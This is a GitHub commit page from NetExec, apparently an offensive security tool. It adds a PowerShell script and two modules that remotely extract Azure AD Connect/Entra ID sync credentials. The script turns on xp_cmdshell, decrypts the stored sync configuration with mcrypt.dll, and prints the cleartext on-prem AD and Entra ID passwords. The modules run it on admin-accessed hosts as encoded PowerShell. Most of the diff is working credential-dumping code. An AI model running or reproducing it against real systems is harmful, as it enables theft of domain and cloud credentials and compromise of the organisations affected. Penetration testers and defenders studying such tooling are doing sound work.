Skip to content

Commit 8f973b1

Browse files
authored
Merge pull request Pennyw0rth#764 from Pennyw0rth/neff-add-entra-id-sync-extractor
2 parents 4b37669 + f2cef11 commit 8f973b1

6 files changed

Lines changed: 164 additions & 144 deletions

File tree

Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
# Original script by @_xpn_: https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c
2+
# Modified by @NeffIsBack:
3+
# - Added support for Entra ID sync credentials (original source: https://github.com/Gerenios/AADInternals-Endpoints/blob/6af2054705e900b733ba76c6e65bfa6cad2328cc/AADSyncSettings.ps1#L108-L116)
4+
5+
# Function to decrypt the encrypted configuration of the Azure AD Connect sync stuff
6+
function decrypter($crypted, $key_id, $instance_id, $entropy) {
7+
$cmd = $client.CreateCommand()
8+
$cmd.CommandText = "EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'powershell.exe -c `"add-type -path ''C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'';`$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager;`$km.LoadKeySet([guid]''$entropy'', [guid]''$instance_id'', $key_id);`$key2 = `$null;`$km.GetKey(1, [ref]`$key2);`$decrypted = `$null;`$key2.DecryptBase64ToString(''$crypted'', [ref]`$decrypted);Write-Host `$decrypted`"'"
9+
$reader = $cmd.ExecuteReader()
10+
11+
$decrypted = [string]::Empty
12+
13+
while ($reader.Read() -eq $true -and $reader.IsDBNull(0) -eq $false) {
14+
$decrypted += $reader.GetString(0)
15+
}
16+
$reader.Close()
17+
18+
if ($decrypted -eq [string]::Empty) {
19+
Write-Host "[!] Error using xp_cmdshell to launch our decryption powershell"
20+
return
21+
}
22+
23+
return $decrypted
24+
}
25+
26+
# Create a connection to the localdb instance of Azure AD Connect
27+
$client = new-object System.Data.SqlClient.SqlConnection -ArgumentList "Data Source=(localdb)\.\ADSync2019;Initial Catalog=ADSync"
28+
29+
try {
30+
$client.Open()
31+
} catch {
32+
Write-Host "[!] Could not connect to localdb, Entra ID sync probably not installed"
33+
return
34+
}
35+
36+
function f {
37+
param ($q)
38+
$c = $client.CreateCommand()
39+
$c.CommandText = $q
40+
$r = $c.ExecuteReader()
41+
if (-not $r.Read()) {
42+
Write-Host "[!] Error querying: $q"
43+
return
44+
}
45+
$res = for ($i = 0; $i -lt $r.FieldCount; $i++) { $r.GetValue($i) }
46+
$r.Close()
47+
return $res
48+
}
49+
50+
# Get keyset_id, instance_id, entropy
51+
$out = f "SELECT keyset_id, instance_id, entropy FROM mms_server_configuration"
52+
if (-not $out) { return }
53+
$key_id, $instance_id, $entropy = $out
54+
55+
# Get and decrypt on-prem AD credentials
56+
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
57+
if (-not $out) { return }
58+
$on_prem, $c = $out
59+
$pd = decrypter $c $key_id $instance_id $entropy
60+
61+
# Get and decrypt Entra ID sync credentials
62+
$out = f "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE subtype = 'Windows Azure Active Directory (Microsoft)'"
63+
if (-not $out) { return }
64+
$entra, $c = $out
65+
$qd = decrypter $c $key_id $instance_id $entropy
66+
67+
68+
69+
# Extract the credentials from the decrypted XML configurations
70+
$domain = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerText}}
71+
$username = select-xml -Content $on_prem -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerText}}
72+
$pw = select-xml -Content $pd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
73+
74+
Write-Host "On-prem Domain: $($domain.Domain)"
75+
Write-Host "On-prem Username: $($username.Username)"
76+
Write-Host "On-prem Password: $($pw.Password)"
77+
78+
# Extract the Entra ID sync credentials
79+
$entra_user = ([xml]$entra).MAConfig.'parameter-values'.parameter[0].'#text'
80+
$entra_pw = select-xml -Content $qd -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerText}}
81+
Write-Host "Entra ID Username: $($entra_user)"
82+
Write-Host "Entra ID Password: $($entra_pw.Password)"

nxc/data/msol_dump/msol_dump.ps1

Lines changed: 0 additions & 65 deletions
This file was deleted.

nxc/modules/entra-sync-creds.py

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
2+
from base64 import b64encode
3+
from nxc.helpers.powershell import get_ps_script
4+
5+
6+
class NXCModule:
7+
"""
8+
Example:
9+
-------
10+
Module by @NeffIsBack
11+
"""
12+
13+
name = "entra-sync-creds"
14+
description = "Extract Entra ID sync credentials from the target host"
15+
supported_protocols = ["smb"]
16+
opsec_safe = True
17+
multiple_hosts = True
18+
19+
def __init__(self):
20+
self.context = None
21+
self.module_options = None
22+
23+
self.entra_id_psscript = ""
24+
25+
with open(get_ps_script("entra-sync-creds/entra-sync-creds.ps1")) as psFile:
26+
for line in psFile:
27+
if line.startswith("#") or line.strip() == "":
28+
continue
29+
else:
30+
self.entra_id_psscript += line.strip() + "\n"
31+
32+
def options(self, context, module_options):
33+
"""No module options available."""
34+
35+
def on_admin_login(self, context, connection):
36+
self.context = context
37+
38+
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
39+
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
40+
41+
if "CLIXML" in out:
42+
out = out.split("CLIXML")[1].split("<Objs Version")[0]
43+
44+
for line in out.splitlines():
45+
if not line.strip():
46+
continue
47+
if "[!]" in line:
48+
self.context.log.fail(line.replace("[!]", "").strip())
49+
else:
50+
self.context.log.highlight(line.strip())

nxc/modules/msol.py

Lines changed: 27 additions & 74 deletions
Original file line numberDiff line numberDiff line change
@@ -1,93 +1,46 @@
1-
# MSOL module for nxc
1+
# MSOL module for NetExec
22
# Author of the module : https://twitter.com/Daahtk
33
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
4-
from sys import exit
5-
from os import path
6-
from nxc.paths import TMP_PATH
4+
# Fully rewritten by @NeffIsBack
5+
from base64 import b64encode
76
from nxc.helpers.powershell import get_ps_script
87

98

109
class NXCModule:
10+
"""Module by @NeffIsBack"""
1111
name = "msol"
12-
description = "Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server"
12+
description = "Dump MSOL cleartext password and Entra ID credentials from the localDB on the Entra ID Connect Server"
1313
supported_protocols = ["smb"]
1414
opsec_safe = True
1515
multiple_hosts = True
1616

17-
def __init__(self, context=None, module_options=None):
18-
self.use_embedded = None
19-
self.MSOL_PS1 = None
20-
self.msol_embedded = None
21-
self.cmd = None
22-
self.msolmdl = None
23-
self.msol = None
24-
self.tmp_share = None
25-
self.share = None
26-
self.tmp_dir = None
27-
self.context = context
28-
self.module_options = module_options
17+
def __init__(self):
18+
self.context = None
19+
self.module_options = None
2920

30-
def options(self, context, module_options):
31-
"""MSOL_PS1 // Path to the msol binary on your computer"""
32-
self.tmp_dir = "C:\\Windows\\Temp\\"
33-
self.share = "C$"
34-
self.tmp_share = self.tmp_dir.split(":")[1]
35-
self.msol = "msol.ps1"
36-
self.use_embedded = True
37-
self.msolmdl = self.cmd = ""
38-
39-
with open(get_ps_script("msol_dump/msol_dump.ps1")) as msolsc:
40-
self.msol_embedded = msolsc.read()
21+
self.entra_id_psscript = ""
4122

42-
if "MSOL_PS1" in module_options:
43-
self.MSOL_PS1 = module_options["MSOL_PS1"]
44-
self.use_embedded = False
23+
with open(get_ps_script("msol_dump/entra-sync-creds.ps1")) as psFile:
24+
for line in psFile:
25+
if line.startswith("#") or line.strip() == "":
26+
continue
27+
else:
28+
self.entra_id_psscript += line.strip() + "\n"
4529

46-
def exec_script(self, _, connection):
47-
command = f"C:\\windows\\system32\\WindowsPowershell\\v1.0\\powershell.exe {self.tmp_dir}msol.ps1"
48-
return connection.execute(command, True)
30+
def options(self, context, module_options):
31+
"""No module options available."""
4932

5033
def on_admin_login(self, context, connection):
51-
if self.use_embedded:
52-
file_to_upload = f"{TMP_PATH}/msol.ps1"
34+
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
35+
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
5336

54-
try:
55-
with open(file_to_upload, "w") as msol:
56-
msol.write(self.msol_embedded)
57-
except FileNotFoundError:
58-
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
59-
exit(1)
60-
61-
else:
62-
if path.isfile(self.MSOL_PS1):
63-
file_to_upload = self.MSOL_PS1
64-
else:
65-
context.log.fail(f"Cannot open {self.MSOL_PS1}")
66-
exit(1)
37+
if "CLIXML" in out:
38+
out = out.split("CLIXML")[1].split("<Objs Version")[0]
6739

68-
context.log.display(f"Uploading {self.msol}")
69-
with open(file_to_upload, "rb") as msol:
70-
try:
71-
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
72-
context.log.success("Msol script successfully uploaded")
73-
except Exception as e:
74-
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
75-
return
76-
try:
77-
if self.cmd == "":
78-
context.log.display("Executing the script")
79-
p = self.exec_script(context, connection)
80-
for line in p.splitlines():
81-
p1, p2 = line.split(" ", 1)
82-
context.log.highlight(f"{p1} {p2}")
40+
for line in out.splitlines():
41+
if not line.strip():
42+
continue
43+
if "[!]" in line:
44+
context.log.fail(line.replace("[!]", "").strip())
8345
else:
84-
context.log.fail("Script Execution Impossible")
85-
86-
except Exception as e:
87-
context.log.fail(f"Error running command: {e}")
88-
finally:
89-
try:
90-
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
91-
context.log.success("Msol script successfully deleted")
92-
except Exception as e:
93-
context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")
46+
context.log.highlight(line.strip())

nxc/modules/veeam.py

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -135,18 +135,18 @@ def executePsMssql(self, connection, SqlDatabase, SqlInstance, SqlServer, salt):
135135
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlInstance", SqlInstance)
136136
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_SqlServer", SqlServer)
137137
self.psScriptMssql = self.psScriptMssql.replace("REPLACE_ME_b64Salt", salt)
138-
psScipt_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
138+
psScript_b64 = b64encode(self.psScriptMssql.encode("UTF-16LE")).decode("utf-8")
139139

140-
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
140+
return connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
141141

142142
def executePsPostgreSql(self, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt):
143143
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgreSqlExec", PostgreSqlExec)
144144
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_PostgresUserForWindowsAuth", PostgresUserForWindowsAuth)
145145
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_SqlDatabaseName", SqlDatabaseName)
146146
self.psScriptPostgresql = self.psScriptPostgresql.replace("REPLACE_ME_b64Salt", salt)
147-
psScipt_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
147+
psScript_b64 = b64encode(self.psScriptPostgresql.encode("UTF-16LE")).decode("utf-8")
148148

149-
return connection.execute(f"powershell.exe -e {psScipt_b64} -OutputFormat Text", True)
149+
return connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
150150

151151
def printCreds(self, context, output):
152152
# Format output if returned in some XML Format

nxc/protocols/smb/wmiexec.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -111,7 +111,7 @@ def execute_remote(self, data):
111111

112112
command = self.__shell + data
113113
if self.__retOutput:
114-
command += " 1> " + f"{self.__output}" + " 2>&1"
114+
command += f" 1> {self.__output} 2>&1"
115115

116116
self.logger.debug("Executing command: " + command)
117117
self.__win32Process.Create(command, self.__pwd, None)

0 commit comments

Comments
 (0)